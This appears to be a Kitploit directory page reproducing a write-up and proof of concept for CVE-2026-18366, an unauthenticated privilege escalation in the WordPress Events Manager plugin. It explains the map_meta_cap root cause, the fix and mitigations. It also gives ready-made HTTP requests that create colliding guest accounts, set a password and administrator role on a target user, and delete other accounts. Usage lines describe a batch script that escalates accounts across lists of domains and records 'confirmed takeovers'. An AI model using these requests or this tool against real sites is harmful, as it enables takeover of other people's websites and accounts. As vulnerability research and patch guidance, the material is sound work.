Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-18366 — Unauthenticated privilege-escalation PoC for WordPress Events Manager < 7.4.1; discovers colliding post/user IDs and escalates targets to administrator via REST or wp-admin. | Kitploit
Tools/GitHubGitHub/ghostpels/cve-2026-18366
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationInformation Gathering
GitHubghostpels/cve-2026-18366

CVE-2026-18366

Unauthenticated privilege-escalation PoC for WordPress Events Manager < 7.4.1; discovers colliding post/user IDs and escalates targets to administrator via REST or wp-admin.

View Repository
3 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-18366 — Events Manager < 7.4.1: Unauthenticated Privilege Escalation to Administrator

ProductEvents Manager (WordPress plugin)
Affected versions7.1.0 – 7.4.0.x
Fixed version7.4.1
WeaknessCWE-269: Improper Privilege Management
SeverityCVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
WPVDB ID82767ce2-01e4-46ad-a52b-72d3ab2049bd
Original researcherJakub Herman
Write-up & PoCghostpel

Disclosure timeline

  • 2026-08-03 — Events Manager 7.4.1 released with the fix (vendor security release).
  • 2026-08-12 — IONIX Threat Center entry published.
  • 2026-08-21 — This write-up and proof-of-concept (poc.py).

Summary

Events Manager versions 7.1.0 through 7.4.0.x contain a privilege escalation vulnerability that allows a completely unauthenticated attacker to take over any user account whose ID collides with the ID of one of the plugin's own posts (event / location / event-recurring / location-recurring). The collision can be forced on sites with guest bookings enabled (the default): every guest booking creates a real user account and advances the wp_users auto-increment counter by one, letting an attacker "walk" the user ID space onto an event/location post ID.

The root cause: the plugin's map_meta_cap filter discards the capability list WordPress already computed ($caps = []) for any meta capability, whenever the capability's object ID happens to resolve to an event/location post — including WordPress core capabilities such as edit_user, delete_user, promote_user, and remove_user. An empty capability list reads as "no capability required" — i.e. allow for everyone, including logged-out users.

Consequences (all unauthenticated, via the WP REST API): change any colliding account's password, escalate it to administrator, or delete it.

Version analyzed: 7.4.0.1 (vulnerable) — diffed against 7.4.1 (fixed).

Affected versions

VersionStatus
≤ 7.0.5Not affected (legacy em_map_meta_cap only handles EM's own capabilities)
7.1.0 – 7.4.0.xVulnerable (the archetype system with the buggy was introduced in 7.1.0)

Root cause — map_meta_cap empties $caps

classes/em-archetypes.php (version 7.4.0.1):

Consequence: every current_user_can('edit_user', X) / delete_user / promote_user / remove_user check returns TRUE whenever X equals the ID of an event/location post. The plugin "discards the access control decisions WordPress had already made" — exactly as described by WPScan.

The fix in 7.4.1

Verified by diffing 7.4.0.1 against 7.4.1: the reset is now guarded by an exact capability match per branch (e.g. && $c['read'][$post->post_type] == $cap), so $caps is only emptied when the requested capability really is an archetype meta cap. Patch comment: "Resetting on any object-carrying cap emptied the requirement list for unrelated caps (e.g. edit_user, promote_user), which reads as allow."

Impact — exposed WordPress core admin operations (no login, via REST API)

The REST Users endpoints (/wp-json/wp/v2/users/{id}) have no global login gate — access control is purely via permission callbacks, all of which flow through the same map_meta_cap filter:

Side effect: edit_comment is also affected when a comment ID happens to equal an event/location post ID (the wp_comments table shares the numeric space).

Forcing the ID collision via guest booking (entry point)

The collision exists because wp_users.ID and wp_posts.ID are independent auto-increment sequences that inevitably overlap. Guest bookings force it:

  • em-install.php:896 — dbem_bookings_anonymous = 1: guest bookings enabled by default; :871 dbem_bookings_registration_disable = 0 (registration enabled).
  • em-actions.php:340-344 — booking_add is in $booking_nopriv_actions → callable without login (via wp_ajax_nopriv_booking_add, priority 999999, lines :817-830, or wp_loaded :11).
  • em-actions.php:360-375 — booking_add flow: → → → → . (The nonce is CSRF protection only — the nonce is rendered on the public booking form, so anyone can obtain it.)

Secondary chain observed during the audit (booking attribution via person_id) — events-manager.php:430-437 (em_load_event, $EM_Person from $_REQUEST['person_id'] without login), em-booking.php:1060-1072 (get_person() overrides the person_id of a new booking), em-booking.php:2004-2006 (can_manage() = TRUE for a booking without ID), em-functions.php:448-449 — unchanged in 7.4.1; it is a separate vector (booking mis-attribution), not the core of this CVE.

Exploitation (unauthenticated)

  1. Determine the target ID. Enumerate public event/location post IDs (permalinks, feeds, /wp-json/wp/v2/event, or sequential-ID brute force). Say the target is N.
  2. (Optional — forcing the collision) Send repeated guest bookings so the next account gets ID N:
    root@kitploit:~
    POST /wp-admin/admin-ajax.php?action=booking_add
      event_id=<E>&em_tickets[<T>][spaces]=1
      &user_email=attacker%40mail.com&user_name=Attacker
      &_wpnonce=<nonce from the public booking form>
    
    Each POST → one new account; the account with ID N belongs to the attacker (password emailed to the attacker's address).
  3. Escalate to Administrator + change the password:
    root@kitploit:~
    PUT /wp-json/wp/v2/users/N
    Content-Type: application/json
    {"password":"Pwned123!","roles":["administrator"]}
    
    The edit_user + promote_user permission callbacks pass because get_post(N) resolves to an event/location post → $caps = []. (If an — e.g. an old admin — already has ID colliding with an event post ID, step 2 is unnecessary; the attacker directly takes over that account.)

Requirements

  • Events Manager 7.1 – 7.4.0.x installed and active (the event/location CPTs registered).
  • At least one event/location post (its ID is the collision key).
  • Guest bookings enabled (default) — only needed to force the collision; sites that happen to have an account whose ID equals an event/location post ID are directly attackable via REST.

Proof of Concept — poc.py

poc.py is an asynchronous (asyncio + aiohttp) batch PoC that, per target: fingerprints the EM version (gated to the vulnerable range [7.1, 7.4.1)), discovers EM post IDs reachable from outside (WP sitemap → /locations/, optionally a booking-form crawl), probes the discovered IDs for an existing user account (the collision condition), and escalates the ones that collide — via the REST channel, or the wp-admin channel when a session is supplied and REST is blocked. No blind user-range sweep, no guest bookings, no account creation.

The runner multiplexes all I/O on a single event loop (near 0% CPU when I/O-bound; -t caps concurrency instead of cores), scans only bounded 64 KiB head chunks on the loop, offloads heavy parses (sitemap XML, crawl-page bundle, profile form) to worker threads via asyncio.to_thread, and enforces the politeness delay on every page attempt. The forcing logic itself is unchanged (same gates, same oracles, same verification).

root@kitploit:~
py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

Requirements: Python 3.9+, pip install aiohttp.

Results are streamed to hasil.txt (confirmed takeovers) and id-post.txt (every vulnerable domain where EM post IDs were discovered, with collision=yes/no/unknown).

Note: this PoC was independently reconstructed from static analysis of the 7.4.0.1 source and the 7.4.1 patch diff — it is not the WPScan PoC.

AUTHORIZED SECURITY TESTING ONLY. Run exclusively against systems you own or have explicit written permission to test. The PoC performs plain HTTP requests — no evasion; it may be visible in logs/IDS.

Mitigation

  • Update to Events Manager 7.4.1 or later.
  • Interim: disable guest bookings (dbem_bookings_anonymous), restrict the users REST endpoints at the WAF level, and monitor for password changes, role escalations, and account deletions.

Credits

  • Vulnerability discovery: Jakub Herman (credited by WPScan)
  • Write-up and PoC: ghostpel

References

  • WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
  • IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
  • VulDB: https://vuldb.com/cve/CVE-2026-18366
  • OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
  • Stack.watch: https://stack.watch/vuln/CVE-2026-18366/
Download Tool
map_meta_cap
7.4.1Fixed
LineCodeRole
:33add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );Global, unconditional filter — runs for every WordPress meta-capability check, including core's and those for logged-out users
:547if ( !empty( $args[0] ) ) {The capability's object is taken as a post ID
:548$post = get_post($args[0]);ID collision: the target user ID (for caps like edit_user) is treated as a post ID
:551`if( empty($post->post_type)
:563`if ( !empty( $c['read'][$post->post_type] )
:564–565$caps = [];The capability list is discarded unconditionally — even though the requested cap is not a read/edit/delete_event archetype cap
:568/577/584if/elseif branches$caps is only refilled when $cap exactly matches an archetype meta cap; for edit_user, delete_user, promote_user, remove_user no branch matches → $caps stays empty
:597return $caps;Empty array = "no capability required" = ALLOW for anyone, including user ID 0
ActionEndpoint / core functionBypassed capability
Change the target account's passwordPUT /wp-json/wp/v2/users/{id} with {"password":"..."} → wp_update_user() (internal edit_user check)edit_user
Escalate the account to AdministratorPUT /wp-json/wp/v2/users/{id} with {"roles":["administrator"]}promote_user
Delete an accountDELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (internal delete_user check)delete_user
(Multisite) remove a user from the blogremove_userremove_user
em_verify_nonce('booking_add')
get_post()
validate()
em_booking_add_registration()
$EM_Bookings->add()
booking_add
  • em-functions.php:405-417 — guest branch: em_register_new_user($user_data) with the attacker's email.
  • em-functions.php:510 — wp_insert_user($user_data) → wp_users auto-increment advances by 1 per guest booking → the attacker controls the growth rate of the user ID counter until it lands on the desired event/location post ID (WPScan: "each guest booking creates a real user account and advances the user ID counter by one").
  • existing account
    N
  • Delete other accounts whose IDs collide (e.g. another admin):
    root@kitploit:~
    DELETE /wp-json/wp/v2/users/M?reassign=N
    
  • Log in as administrator → full site compromise.